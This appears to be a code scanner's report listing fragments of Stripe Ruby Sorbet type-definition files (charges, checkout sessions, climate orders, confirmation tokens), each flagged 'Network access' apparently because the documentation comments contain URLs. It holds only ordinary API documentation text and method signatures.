# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1962
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1963
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1964
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 2142
sig { returns(T.nilable(Twint)) } def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob - Network accessline 2143
def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible - Network accessline 2144
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 2239
end class RadarOptions < ::Stripe::StripeObject # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payme - Network accessline 2240
class RadarOptions < ::Stripe::StripeObject # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 2241
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 2254
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2255
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2256
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2266
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2267
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2268
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2312
end end # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 t - Network accessline 2313
end # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge - Network accessline 2314
# Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a - Network accessline 2324
sig { returns(T.nilable(T.any(String, ::Stripe::Application))) } def application; end # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for de - Network accessline 2325
def application; end # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. sig { returns(T.nilable(T.any(String, ::Stripe::Applicatio - Network accessline 2326
# The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. - Network accessline 2327
sig { returns(T.nilable(T.any(String, ::Stripe::ApplicationFee))) } def application_fee; end # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/dire - Network accessline 2328
def application_fee; end # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. sig { returns(T.nilable(Intege - Network accessline 2329
# The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. - Network accessline 2348
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2349
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 2350
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2363
sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) } def failure_balance_transaction; end # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-code - Network accessline 2364
def failure_balance_transaction; end # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes). sig { returns(T.nilable(String)) } - Network accessline 2365
# Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes). - Network accessline 2381
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 2382
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 2383
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 2387
sig { returns(String) } def object; end # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers - Network accessline 2388
def object; end # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. sig { ret - Network accessline 2389
# The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 2390
sig { returns(T.nilable(T.any(String, ::Stripe::Account))) } def on_behalf_of; end # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details. - Network accessline 2391
def on_behalf_of; end # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details. sig { returns(T.nilable(Outcome)) } - Network accessline 2392
# Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details. - Network accessline 2408
sig { returns(T.nilable(PresentmentDetails)) } def presentment_details; end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 2409
def presentment_details; end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(RadarOptions)) } - Network accessline 2410
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 2437
} def source; end # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 2438
def source; end # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. sig { return - Network accessline 2439
# The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 2440
sig { returns(T.nilable(T.any(String, ::Stripe::Transfer))) } def source_transfer; end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default st - Network accessline 2441
def source_transfer; end # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including - Network accessline 2442
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 2445
sig { returns(T.nilable(String)) } def statement_descriptor; end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descripto - Network accessline 2446
def statement_descriptor; end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete stateme - Network accessline 2447
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 2454
sig { returns(T.nilable(T.any(String, ::Stripe::Transfer))) } def transfer; end # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://doc - Network accessline 2455
def transfer; end # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. sig { r - Network accessline 2456
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 2457
sig { returns(T.nilable(TransferData)) } def transfer_data; end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer- - Network accessline 2458
def transfer_data; end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. sig { returns(T.nil - Network accessline 2459
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. - Network accessline 2462
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 2463
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 2464
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 2465
# # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). sig { - Network accessline 2466
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 2472
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 2473
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 2474
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 2475
# # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). sig { - Network accessline 2476
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 2482
# This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/checkout/session.rbi
- Network accessline 6
module Checkout # A Checkout Session represents your customer's session as they pay for # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout) - Network accessline 7
# A Checkout Session represents your customer's session as they pay for # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout) # or [Payment Links](https://docs.stripe.com/payments/paymen - Network accessline 8
# one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout) - Network accessline 9
# or [Payment Links](https://docs.stripe.com/payments/payment-links). We recommend creating a - Network accessline 11
# # Once payment is successful, the Checkout Session will contain a reference # to the [Customer](https://docs.stripe.com/api/customers), and either the successful - Network accessline 12
# Once payment is successful, the Checkout Session will contain a reference # to the [Customer](https://docs.stripe.com/api/customers), and either the successful # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an a - Network accessline 13
# to the [Customer](https://docs.stripe.com/api/customers), and either the successful - Network accessline 14
# [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an active - Network accessline 15
# [Subscription](https://docs.stripe.com/api/subscriptions). - Network accessline 18
# to begin Checkout. # # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart) - Network accessline 19
# # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart) class Session < APIResource - Network accessline 20
# Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart) - Network accessline 21
class Session < APIResource class AdaptivePricing < ::Stripe::StripeObject # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment - Network accessline 22
class AdaptivePricing < ::Stripe::StripeObject # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). - Network accessline 23
# If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). - Network accessline 100
class BrandingSettings < ::Stripe::StripeObject class Icon < ::Stripe::StripeObject # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` - Network accessline 101
class Icon < ::Stripe::StripeObject # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. sig { retu - Network accessline 102
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. - Network accessline 117
end class Logo < ::Stripe::StripeObject # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 118
class Logo < ::Stripe::StripeObject # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. sig { retu - Network accessline 119
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 145
sig { returns(String) } def display_name; end # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-host - Network accessline 146
def display_name; end # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility). - Network accessline 147
# The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility). - Network accessline 167
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 168
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 169
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 179
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 180
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 181
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 473
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 474
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 475
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 485
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 486
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 487
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 614
sig { returns(T.nilable(Issuer)) } def issuer; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object - Network accessline 615
def issuer; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retu - Network accessline 616
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1018
sig { returns(T.nilable(String)) } def request_overcapture; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirement - Network accessline 1019
def request_overcapture; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-au - Network accessline 1020
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 2026
sig { returns(Integer) } def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 2027
def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the disco - Network accessline 2028
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 2029
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 2030
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) sig { returns(::Stripe::Discount) } - Network accessline 2031
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 2115
end end # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 2116
end # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). sig { returns(T.nilable(AdaptivePricing)) } - Network accessline 2117
# Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 2148
def client_reference_id; end # The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.j - Network accessline 2149
# The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.js embedded checkout. # For ` - Network accessline 2150
# For `ui_mode: custom`, use the client secret with [initCheckout](https://docs.stripe.com/js/custom_checkout/init) on your front end. - Access to secretsline 2152
[Credential-related source omitted] - Network accessline 2163
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2164
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 2165
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2166
sig { returns(T.nilable(String)) } def currency; end # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31. - Network accessline 2167
def currency; end # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31. sig { returns(T.nilable(CurrencyConversion)) } - Network accessline 2168
# Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31. - Network accessline 2201
sig { returns(T.nilable(T::Array[Discount])) } def discounts; end # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this - Network accessline 2202
def discounts; end # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Das - Network accessline 2203
# A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard - Network accessline 2225
sig { returns(T.nilable(String)) } def locale; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a st - Network accessline 2226
def locale; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.ni - Network accessline 2227
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 2243
sig { returns(T.nilable(String)) } def origin_context; end # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Check - Network accessline 2244
def origin_context; end # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/ - Network accessline 2245
# The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) inst - Network accessline 2280
sig { returns(T.nilable(String)) } def recovered_from; end # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedd - Network accessline 2281
def recovered_from; end # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults t - Network accessline 2282
# This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`. - Network accessline 2289
sig { returns(T.nilable(SavedPaymentMethodOptions)) } def saved_payment_method_options; end # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. T - Network accessline 2290
def saved_payment_method_options; end # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe. - Network accessline 2291
# The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) instead. - Network accessline 2309
sig { returns(T.nilable(String)) } def submit_type; end # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode. - Network accessline 2310
def submit_type; end # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode. sig { returns(T.nilable(T.any(String, ::Stripe::Subscription))) } - Network accessline 2311
# The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode. - Network accessline 2325
sig { returns(T.nilable(String)) } def ui_mode; end # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains - Network accessline 2326
def ui_mode; end # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checko - Network accessline 2327
# The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checkout/custom-domains), the - Network accessline 2374
# Updates a Checkout Session object. # # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) - Network accessline 2375
# # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) sig { - Network accessline 2376
# Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/climate/order.rbi
- Network accessline 65
end end # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit. - Network accessline 66
end # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit. sig { returns(Integer) } - Network accessline 67
# Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit. - Network accessline 92
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order. - Network accessline 93
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order. sig { returns(String) } - Network accessline 94
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order. - Network accessline 113
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 114
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 115
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/climate/product.rbi
- Network accessline 35
def delivery_year; end # Unique identifier for the object. For convenience, Climate product IDs are human-readable strings # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbo - Network accessline 36
# Unique identifier for the object. For convenience, Climate product IDs are human-readable strings # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory) # - Network accessline 37
# that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/confirmation_token.rbi
- Network accessline 9
# # To learn more about how to use ConfirmationToken, visit the related guides: # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) - Network accessline 10
# To learn more about how to use ConfirmationToken, visit the related guides: # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) # - [Build two-step confirmation](https://docs.stripe. - Network accessline 11
# - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) - Network accessline 12
# - [Build two-step confirmation](https://docs.stripe.com/payments/build-a-two-step-confirmation). - Network accessline 224
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 225
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 226
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 236
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 237
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 238
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 374
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 375
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 376
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 380
sig { returns(T.nilable(Integer)) } def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, spec - Network accessline 381
def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`) - Network accessline 382
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 412
sig { returns(T.nilable(String)) } def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_a - Network accessline 413
def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api - Network accessline 414
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 544
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 545
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 546
